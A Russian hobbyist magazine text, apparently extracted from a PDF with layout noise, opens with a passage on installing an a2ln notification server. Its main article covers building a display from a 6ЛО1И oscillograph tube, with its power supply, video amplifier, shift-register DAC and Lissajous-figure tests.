И компьютер­ , и телефон должны­ находиться­ в одной сети, так как между­ ними устанав­ лива­ ется­ прямое­ соединение­ при каждом­ новом уведом­ лении­ . Но никто­ не запреща­ ет­ создать­ эту связь удален­ но­ при помощи VPN-туннеля­ вроде­ Wireguard.

Устанав­ ­лива­ется сначала­ сервер­ на компьюте­ ­ре, а затем приложе­ ­ние на телефоне­ . Сервер­ устанав­ ­лива­ется следующи­ ­ми командами­ :

git clone https://github.com/patri9ck/a2ln-server.git0

cd a2ln-server0

sudo make install

Если­ возникнут­ проблемы­ , установи­ зависимос­ ти­ через pip — список­ лежит в requirements.txt.

После­ этого­ можно­ запустить­ сервер­ командой­ a2ln 50505, чтобы­ слу ­ шать на 50505-м порте­ . Конечно­ , ты можешь его поменять по своему­ усмотрению­ , но помни­ , что порты­ ниже 1024-го требуют­ прав root. А еще не забудь закинуть старт сервера­ в автозаг­ рузку­ любым удобным­ способом­ , чтобы­ уведом­ ления­ продол­ жили­ приходить­ после­ перезагрузки­ машины, если ты ее вообще­ перезагружа­ ешь­ .

На телефоне­ нужно­ скачать­ из F-Droid приложе­ ­ние клиент­ и вбить в него IP и порт, на котором слушает­ серверная­ часть. Если ты счастли­ ­вый обладатель­ Huawei, Samsung, Xiaomi или другого­ телефона­ с драконо­ ­вым энергосбе­ ­ режением­ , то придет­ ­ся озаботить­ ­ся внесени­ ­ем приложе­ ­ния в белый список­ , чтобы­ система­ его не убивала­ . Как это сделать­ — читай на dontkillmyapp.com или в профиль­ ­ных ветках­ форумов.

Linux Journey — интерес­ ный­ сервис­ для прокач­ ки­ и провер­ ки­ знаний­ о Linux. Этот бесплат­ ный­ гид по Linux мне в свое время­ мог бы неплохо­ помочь. Воз ­ можно, пригодит­ ся­ тебе или кому то из твоих­ знакомых­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

GEEK

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

СОБИРАЕМ МОНИТОР ИЗ ЭЛЕКТРОННО-ЛУЧЕВОЙ ТРУБКИ

Candidum duospirit@gmail.com

Монитор­ с классичес­ ким­ кинескопом­ сейчас­ можно­ отыс ­ кать разве­ что в музее или на блошином­ рынке­ , да и там они попадаются­ нечасто­ . Тем интерес­ нее­ постро­ ить­ такой сво ­ ими руками! В этой статье мы запустим­ электрон­ но­ лучевую трубку­ , посмотрим­ на фигуры Лиссажу­ , выведем текст и изображение­ . Будет много­ схемотех­ ники­ и кода.

Навер­ ­няка все видели часы на электрон­ ­но лучевых трубках­ или экранах­ осциллографов­ . После­ неоновых­ часов это, наверное­ , следующая­ по популярности­ ламповая­ заморочка­ . Обычно­ , кроме­ цифербла­ ­та и несколь­ ­

ких цифр, на него ничего не выводят, и это таки не случай­ ­но! Собствен­ ­но, о причинах­ данного­ явления­ мы и будем дальше­ много­ говорить, а также­ обсудим­ те особен­ ­ности трубок­ и схемотех­ ­ники, о которых обычно­ в интерне ­ те не пишут.

Называть­ радиолам­ пы­ трубками­ , электрон­ ными­ трубками­ , вакуумны­ ми­ трубками­ и клапана­ ми­ безгра­ мот­ но­ . Проскакива­ ют­ такие названия­ обычно­ по вине горе переводчиков­ , однако­ в слу ­ чае электрон­ но­ лучевых трубок­ и рентге­ нов­ ских­ трубок­ название­ плотно­ укорени­ лось­ и теперь общепринято­ . Такие дела.

ЭЛЕКТРОННО-ЛУЧЕВАЯ ТРУБКА

Электрон­ ­но лучевые трубки­ , пожалуй, самые сложные­ радиолам­ ­пы в плане­ устройства­ и управления­ . Предназна­ ­чены они, как несложно­ догадаться­ , для вывода изображения­ . Здесь и далее мы будем говорить только­ об осциллографичес­ ­ких трубках­ с электрос­ ­татичес­кой фокусиров­ ­кой и элек ­ тростатичес­ ­ким отклонени­ ­ем.

Электрон­ но­ лучевая трубка­

Как все таки работает­ такая лампа­ ? Электро­ ­ны испускаются­ катодом, после­ чего проходят­ через систему­ фокусиров­ ­ки, которая в простей­ ­шем случае­ состоит­ из трех электро­ ­дов, как на рисунке­ выше. Первый­ электрод­ управляет­ яркостью, второй­ фокусиров­ ­кой, а третий­ , ускоряющий­ , отвечает­ за астигма ­ тизм. После­ этого­ пучок пролета­ ­ет через две пары отклоняющих­ электро­ ­дов, отвечающих­ за горизонталь­ ­ное и вертикаль­ ­ное отклонение­ .

Затем­ электро­ ­ны долетают­ до слоя люминофора­ и заставля­ ­ют его све ­ титься­ . Если фокусиров­ ­ка настро­ ­ена, то на экране­ горит точка­ , положение­ которой определя­ ­ется напряжени­ ­ем на отклоняющих­ электро­ ­дах. Изменяя­ это напряжение­ , мы можем выводить изображение­ . Но это все общие слова­ , теперь перейдем­ к конкре­ ­тике, о которой обычно­ не пишут, разве­ что на тематичес­ ­ких форумах.

ВЫБОР ТРУБКИ

Для эксперимен­ ­тов я выбрал­ трубку­ 6ЛО1И. Мотивирова­ ­ла меня ее низкая­ стоимость­ (мне этот девайс обошел­ ­ся в 400 рублей­ ) и ее компак­ ­тность.

6ЛО1И

Однако­ уже во время­ сборки­ и настрой­ ки­ я осознал­ , насколь­ ко­ это плохой­ выбор, ведь именно­ из за использования­ 6ЛО1И я столкнул­ ся­ с таким количеством­ трудностей­ . А дело в том, что у трубки­ есть такой показатель­ , как чувстви­ тель­ ность­ отклоняющей­ системы­ . Измеряет­ ся­ она в миллимет­ рах­ на вольт, и у 6ЛО1И это значение­ составля­ ет­ около­ 0,15 мм/В, для оси X — чуть меньше­ , для оси Y — чуть больше­ . Такая чувстви­ тель­ ность­ крайне­ низ ­ кая, и для движения­ луча по горизонтали­ от левого края экрана­ до правого­ нужно­ порядка­ 250 В, а по вертикали­ около­ 200 В. Это довольно­ много­ и тре ­ бует от видеоуси­ лите­ ля­ очень хорошего­ быстро­ дей­ ствия­ . Собствен­ но­ , если посмотреть­ , что именно­ выпускала­ промыш­ ленность­ на этих трубках­ , то ста ­ новится­ ясно, что это были «показомет­ ры­ » с шириной полосы не более нес ­ кольких­ десятков­ килогерц, например­ ОМШ-3М.

Здесь, правда­ , можно­ немного­ схитрить­ и понизить анодное­ напряжение­ на трубке­ с паспор­ ­тно­го 1200 В до, скажем­ , 700–1000 В. Яркость при этом

снизит­ ­ся, а чувстви­ ­тель­ность отклоняющей­ системы­ заметно­ возрастет­ , и в данном­ случае­ это разумный­ компро­ ­мисс. В общем, советую взять трубку­ поприлич­ ­нее — это сильно­ упростит ковыряния­ с видеоуси­ ­лите­лем.0 Но есть у 6ЛО1И и достоинс­ ­тва: устройство­ ее несложное­ , поэтому­ и схема­ питания у нее простая­ .

ПИТАНИЕ И ОБВЯЗКА ТРУБКИ

Перед­ тем как изобретать­ свой велосипед­ , неплохо­ бы ознакомить­ ся­ с уже изобретен­ ными­ варианта­ ми­ . По уму, конечно­ , стоило­ бы собрать­ для анод ного напряжения­ импульсник­ со стабили­ заци­ ей­ . Но посколь­ ку­ для накала нужно­ 6,3 В, а в осциллографичес­ ких­ трубках­ большая­ часть высокого­ нап ­ ряжения подается­ на катод, то есть потенциал­ катода около­ –900 В, источник питания накала должен­ быть надежно­ изолиро­ ван­ от массы­ . Проще­ всего­ провер­ нуть­ этот финт, используя­ накальную­ обмотку.

А раз уж нужна­ накальная­ обмотка, значит­ , трансфор­ ­матор будет содер ­ жать и анодную­ обмотку, поэтому­ высокое напряжение­ можно­ получить умно ­ жителем­ . Как говорится­ , 1000 В — это всего­ лишь три раза по 330 В. Поэто ­ му, вдохновив­ ­шись проектом­ простого­ осциллографа­ на 6ЛО1И, я раз ­ работал свою схему­ , в которой от исходной остался только­ концепт­ .

 

Разность­

потенциалов­

между­ положитель­ ным­

 

и отрицатель­

ным­

плечами­

источника­ питания

 

превыша­

ет­

1000

В! Удар

таким напряжени­

ем­

смертель­ но­ опасен­ , а кроме­ того, это очень боль ­ но. Поэтому­ будь крайне­ внимате­ лен­ и осто ­ рожен! А если нет опыта­ в работе с высоким нап ­

ряжением­ , возможно­

, лучше­ и не связывать­

ся­

с этим блоком­ питания. Я предуп­ редил­

.

 

 

 

 

 

 

 

 

 

 

Схема­ блока­ питания и обвязки 6ЛО1И

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Основой­

блока­ питания служит­

30-ваттный­

тороидаль­

ный­

трансфор­

матор­

с двумя­ обмотками­ , накальной­

и анодной­ . Анодная­

обмотка выдает­ 235 В,

которые поступа­ ют­ на выпрямитель­

и умножитель­

.

Выпрямитель­

применен­

 

 

 

 

 

 

 

 

однополу­

пери­

одный­

, так как он хорошо сочетается­

с умножите­

лем­ , а токи

потребле­

ния­

схемы­ около­ 0,5 мА. На выходе выпрямите­

ля­ получаем­ около­

+330 В. На выходе умножите­

ля­ имеем­ , соответс­

твен­

но­ , около­ –660 В, что

в сумме­ дает нам 1000 В — вполне­ достаточ­

ное­

напряжение­

 

 

для работы

трубки­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Обрати­

внимание­

на резисторы­

, шунтиру­

ющие­

конденса­

торы­

 

выпрямите­

­

ля и умножите­

ля­ : они могут существен­

но­ продлить­

 

твою жизнь, посколь­

ку­ кон ­

денсаторы­

— штука­ коварная­

(см. предуп­ режде­

ние­ ). Вообще­ говоря, нес ­

мотря на

паспор­ тное­

 

анодное­

 

напряжение­

 

 

1200 В,

6ЛО1И

работает­

и от 1000 В, и даже от 500 В. При этом повышается­

 

чувстви­ тель­

ность­

 

откло ­

няющей системы­

и снижает­

ся­ яркость свечения­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

При 1000 В яркость вполне­ прилич­ ная­ . Обвязка самой 6ЛО1И вполне­

стандар­ тная­

, как и в упомяну­

том­

выше проекте­

. Стоит­ также­ обратить­

 

вни ­

мание, что к общему­ проводу­

подклю­ чен­

 

не выход выпрямите­

ля­ , а средняя­

точка­ делителя­ на резисторах­

R5/R6. Это нужно­ , чтобы­ припод­ нять­

 

нап ­

ряжение

на

 

отклоняющих­

электро­ дах­

при

 

использовании­

окончатель­

ного­

варианта­

видеоуси­

лите­

ля­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Дело­ в том, что напряжение­

на втором­

аноде­ (астигматизм­

) должно­

быть

чуть ниже, чем на отклоняющих­

электро­ дах­ . Если напряжение­

 

на них низ ­

ковато, то и на втором­

аноде­ его придет­ ся­ занижать, в результате­

падает­

яркость, использование­

 

же делителя­ позволя­

ет­ обойти­ эту проблему­

. Да,

настрой­

ки­ яркости, фокуса и астигматиз­ ма­ влияют­

друг на друга­ . Если вклю ­

чить устройство­

на этом этапе­ , после­ прогрева­

 

 

на экране­ появится­ точка­ ,

которую можно­ сфокуси­

ровать­

. Сигнал­ подается­

на отклоняющие­

пластины­

,

выводы 10, 11 определя­

ют­ отклонение­

по оси Y, выводы 7, 8 — отклонение­

по оси X. Теперь перейдем­

к видеоуси­

лите­

лю­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

6ЛО1И с блоком­ питания и обвязкой

ВИДЕОУСИЛИТЕЛЬ

Одно­ из лучших­ решений для постро­ ­ения видеоуси­ ­лите­ля — дифферен­ ­ циальный­ каскад­ . При прочих­ равных­ такой каскад­ позволя­ ­ет получить в два раза больший­ размах­ выходного­ сигнала­ , а учитывая­ , что отклоняющие­ плас ­ тины симметрич­ ­ны, дифферен­ ­циаль­ный каскад­ напрашива­ ­ется сам собой. В большинс­ ­тве описан­ ­ных в интернете­ конструк­ ­ций, выводящих­ изображение­ на осциллографичес­ ­кую трубку­ , использует­ ­ся простей­ ­ший дифферен­ ­циаль ­ ный каскад­ на маломощных­ высоковоль­ ­тных транзисто­ ­рах, например­ как здесь. С него я и начал.

Исходный­ вариант­ видеоуси­ лите­ ля­

Однако­ это решение неудобно­ , так как требует­ дополнитель­ ного­ смещения­ на базу первого­ транзисто­ ра­ , в против­ ном­ случае­ каскад­ работает­ в нелиней ­ ном режиме, что совершенно­ неприем­ лемо­ . Хотя если хочется­ посмотреть­ фигуры­ Лиссажу­ , а в качестве­ источника­ сигнала­ использовать­ заводской­

ГСС, где можно­ задать смещение­ в пару вольт относитель­ но­ земли­ , то такое решение вполне­ рабочее. Избавить­ ся­ от необходимос­ ти­ внешнего­ смещения­ можно­ , используя­ двуполяр­ ное­ питание, что я и сделал­ .

Простей­ ший­ вариант­ видеоуси­ лите­ ля­

Усилитель­ Y-канала идентичен­ . Как видишь, здесь появился­ еще один источник питания — 5 В, это усложняет­ блок питания, но решает­ проблему­ смещения­ , поэтому­ на вход можно­ подавать сигнал­ непосредс­ твен­ но­ с ЦАПа. Этот вариант­ усилите­ ля­ чрезвычай­ но­ прост и подходит­ для эксперимен­ тов­ с трубкой­ , однако­ имеет­ существен­ ные­ ограниче­ ния­ . И это в первую­ очередь­

быстро­ дей­ ствие­ . Так, полоса пропус­ кания­ данного­ усилите­ ля­ будет око ­ ло 10 кГц, и выше этой частоты­ усиление­ достаточ­ но­ быстро­ снижает­ ся­ .

И что с того, спросишь­ ты? А из этого­ следует­ , что количество­ семплов­ ЦАПа будет ограниче­ ­но полосой пропус­ ­кания, что, в свою очередь­ , будет ограничи­ ­вать размер­ изображения­ (количество­ точек), которое можно­ отри ­ совать без мерцания­ . В данном­ случае­ количество­ точек будет порядка­ 500.

Аесли поднять­ частоту­ ЦАП, то изображение­ будет искажать­ ­ся.

Сдругой­ стороны­ , несколь­ ­ко сотен точек вполне­ достаточ­ ­но для отрисов­ ­ ки цифербла­ ­та и стрелок­ , несложной­ геометричес­ ­кой картинки­ или тех же

фигур Лиссажу­ . Собствен­ но­ , в большинс­ тве­ конструк­ ций­ подобное­ изоб ­ ражение и выводят. А что делать, если мы хотим большего­ , например­ вывести­ на экран достаточ­ но­ сложную­ картинку­ в пару десятков­ тысяч точек? Для это ­ го придет­ ся­ поднимать­ быстро­ дей­ ствие­ , и самый простой­ способ­ это сде ­ лать — поднять­ токи выходного­ каскада­ .

Кроме­ того, стоит­ иметь в виду, что коллектор­ ные­ резисторы­ вместе­ с емкостью отклоняющей­ системы­ и выходной­ емкостью транзисто­ ра­ обра ­ зуют RC ФНЧ, частоту­ среза­ которого­ можно­ пример­ но­ прикинуть­ , взяв емкость, скажем­ , 15 пФ. На практике­ получается­ заметно­ хуже, чем в теории, ну да это как всегда­ . Для резисторов­ 220К получается­ значение­ 48,25 кГц, а для резисторов­ 3К уже 3,54 МГц — то, что надо.

Несколь­ ­ко усложним схему­ , использовав­ каскодное­ включение­ транзисто­ ­ ров. Такое включение­ позволя­ ­ет сделать­ схему­ менее критич­ ­ной к парамет ­ рам высоковоль­ ­тных транзисто­ ­ров. В целом каскод­ работает­ как идеали­ ­зиро ­ ванный­ каскад­ с общим эмиттером­ . Нас, конечно­ , это не спасет­ , посколь­ ­ку мы все равно­ упремся в параметры­ трубки­ , зато позволит­ использовать­ дешевые высоковоль­ ­тные транзисто­ ­ры в верхнем­ плече­ , например­

MJE13003, MJE13005. Однако­ лучше­ все таки 2SC2611 или КТ940А.

Кроме­ того, добавим источник тока в эмиттерные­ цепи — так и работает­ лучше­ , и настра­ ­ивать гораздо­ удобнее­ . А сверх того на вход поставим­ исто ­ ковые повторите­ ­ли, чтобы­ не шунтировать­ ЦАП. В первом­ варианте­ схемы­ их не было, однако­ оказалось­ , что усилитель­ заметно­ шунтировал­ ЦАП и сильно­ просажи­ ­вал напряжение­ , потому повторите­ ­ли пришлось­ добавить.

Схема­ видеоуси­ ­лите­ля

Данный­ усилитель­ обеспечива­ ет­ полосу около­ 1,5 МГц при размахе­ сигнала­ на выходе каждого­ плеча­ 75 В и усилении­ около­ 15. При этом замена тран ­

зисторов­ на MJE13005 дает пример­ но­ такой же результат­ , и улучшить­ его малыми усилиями­ уже не получится­ . Настрой­ ка­ усилите­ ля­ сводит­ ся­ к подс ­ тройке­ источников­ тока резисторами­ RV2 и RV5: нужно­ добиться­ на коллекто­ ­ рах транзисто­ ров­ Q2, Q5, Q7, Q10 напряжения­ чуть выше половины­ питания (около­ 120 В), а также­ к подбору­ конденса­ торов­ частотной­ коррекции­ С3, С6,

С9, С12.

Стоит­ заметить, что раз мы собираем­ не осциллограф­ , а монитор, то

добиваться­

ровной­

АЧХ усилите­

ля­ — не оптималь­

ное­

решение. Поэтому­ под ­

бор конденса­

торов­

удобно­ вести­ , смотря­ на качество­ изображения­

, добива ­

ясь минимальных­

артефак­ тов­ . Методика­ подбора­

конденса­

торов­

довольно­

простая­ — начав с заведомо­ меньшей­

емкости, например­

1 нФ, необходимо­

последова­

тель­

но­ увеличи­

вать­

емкость в два раза, наблюдая­

изменения­

изоб ­

ражения. Когда­ емкость

 

окажет­ ся­ чрезмерной­

, начинай ее уменьшать­

на половину­ предыду­

щего­

шага, таким образом­

шагов за пять можно­ подоб ­

рать нужное­

 

 

значение­

.

 

Обрати­ внимание­

,

что

эмиттерные­

резисторы­

в каналах X и Y различны­

 

и конденса­

торы­

коррекции­

,

соответс­

твен­

но­ , тоже.

Токи транзисто­

ров­ также­ можно­ настра­ ивать­

, ориенти­

руясь­

на изображение­

.

Конструк­ ция­ получилась­

достаточ­

но­ сложной­ (12 транзисто­

ров­ ), а еще она

заметно­ греется­

, поэтому­ нужен хороший радиатор­

. Мой, конечно­ , дико

избыточен­

, но он мне попался­ под руку и подходил­

по размерам­

. Резисторы­

в коллектор­

ной­

цепи также­ сильно­ греются­

, поэтому­ надо взять пятиваттные­

(не проволоч­

ные­ !). Хорошо, усилитель­

есть, теперь нужен источник сигнала­

.

 

Внешний­ вид видеоуси­ лите­ ля­

ЦАП

C точки­ зрения­ соотношения­ цена/быстро­ ­дей­ствие лучшее­ решение — R-2R ЦАП. Первоначаль­ ­но я планиро­ ­вал использовать­ Blue Pill как источник сиг ­ нала, и в этом случае­ можно­ задейство­ ­вать целый порт сразу­ на 2 ЦАПа (каналы X и Y). Однако­ , ориенти­ ­руясь на данный­ проект­ , я решил применить­ сдвиговые­ регистры­ 74HC59. В плане­ быстро­ ­дей­ствия мы ничего не теряем­ , так как GPIO в stm32f103 работают­ с частотой­ около­ 2 МГц, и то при прямой­ записи в регистры­ , через обертки­ получается­ несколь­ ­ко медленнее­ . А вот шина SPI недурно­ работает­ на частоте­ 32 МГц, и итоге­ для двух 8-битных­ каналов получаем­ 2 мегасемпла­ в секунду­ , при этом ЦАП можно­ исполь ­ зовать независимо­ с другими­ источниками­ сигнала­ . А кроме­ того, ЦАП на 74HC595 выдает­ сигнал­ до 5 В, что, учитывая­ низкую­ чувстви­ ­тель­ность трубки­ , нам только­ на руку.

Схема­ ЦАПа

Сначала­ , конечно­ , схемка­ была попроще­ , в ней присутс­ ­тво­вали только­ сдви ­ говые регистры­ . Микрокон­ ­трол­лер писал в SPI два байта­ , а потом дергал­ ножку­ RCLK, и все было хорошо, все работало­ . Потом мне захотелось­ выводить массивы­ побольше­ , которые не помещались­ в память контрол­ ­лера, и тут было два варианта­ : приладить­ к контрол­ ­леру флешку­ или подклю­ ­чить к компу­ через USB/SPI. Я выбрал­ второй­ вариант­ , а в качестве­ USB/SPI использовал­ FT232H.

Это самый быстрый­ USB/SPI из мне известных­ , а кроме­ того, его можно­ приобрести­ в виде готового­ модуля за терпимые­ деньги­ (ну, некоторое­ время­ назад так и было). Однако­ у FT232H есть та же проблема­ , что и у контрол­ ­лера SPI: порт работает­ быстро­ , а GPIO медленно­ , причем­ гораздо­ медленнее­ , чем в контрол­ ­лере, поэтому­ дергать­ ножку­ регистра­ на каждые­ два байта­ неразумно­ . Пришлось­ малой кровью допилить недоSPI 74HC595 до «почти­ SPI». Идея достаточ­ ­но проста­ : надо считать­ тактовые­ импульсы­ и каждый­ 16-й дергать­ RCLK. Для этого­ собран­ делитель на 16 на четырех D-триггерах­ . А чтобы­ знать, откуда­ считать­ импульсы­ , по сигналу­ CS происхо­ ­дит установ­ ­ка триггеров­ , что срабаты­ ­вает как синхро­ ­низа­ция.

Конеч­ ­но, делитель проще­ было собрать­ на 74HC4040, но это как нибудь в другой­ раз. Так или иначе­ , мы получили­ ЦАП, способ­ ­ный выдавать до 2 мегасемплов­ в секунду­ , причем­ его скоростью­ можно­ управлять, меняя скорость­ шины SPI. О резисторах­ можно­ сказать­ , что использовать­ резис ­ торы одного­ номинала­ удобно­ : получаешь­ правиль­ ­ное соотношение­ соп ­ ротивлений­ 1/2. В принципе­ , можно­ сэкономить­ и использовать­ резис ­ торы 5К1 и 10К. Немного­ постра­ ­дает линейность­ , что на глаз почти­ незамет ­ но, впрочем­ , экономия­ копеечная­ и того не стоит­ .

Внешний­ вид собранно­ го­ DAC

BLUE PILL И ФИГУРЫ ЛИССАЖУ

Аналого­ вая­ часть собрана­ , и ЦАП у нас есть. Время­ проверить­ , как оно работает­ . Самый простой­ тестовый­ сигнал­ для создания­ изображения­ — это два синуса с разными­ частотами­ или фазами. Проще­ всего­ такой сигнал­ взять с ГСС и подать на входы­ видеоуси­ лите­ ля­ , однако­ если ГСС под рукой нет, то сигнал­ можно­ сгенери­ ровать­ в микрокон­ трол­ лере­ букваль­ но­ несколь­ ­ кими десятками­ строк.

Генери­ ­ровать синус в микрокон­ ­трол­лере можно­ тремя­ способа­ ­ми. Во первых­ , используя­ библиоте­ ­ку math.h и функцию­ sin(), однако­ это далеко не лучший­ вариант­ по быстро­ ­дей­ствию и расходова­ ­нию ресурсов­ . Работа с плавающей­ точкой­ — это не то, для чего предназна­ ­чены микрокон­ ­ троллеры­ , впрочем­ , данный­ метод работает­ . Другой­ достаточ­ ­но интерес­ ­ный вариант­ генерации­ синуса — на основе­ разнос­ ­тных схем — упомина­ ­ется здесь. Уравнения­ там достаточ­ ­но простые­ , и с первого­ взгляда­ даже не ска ­ жешь, что на выходе получается­ синус.

V -= X*R0

X += V0

Продолжение статьи0

Соседние файлы в папке журнал хакер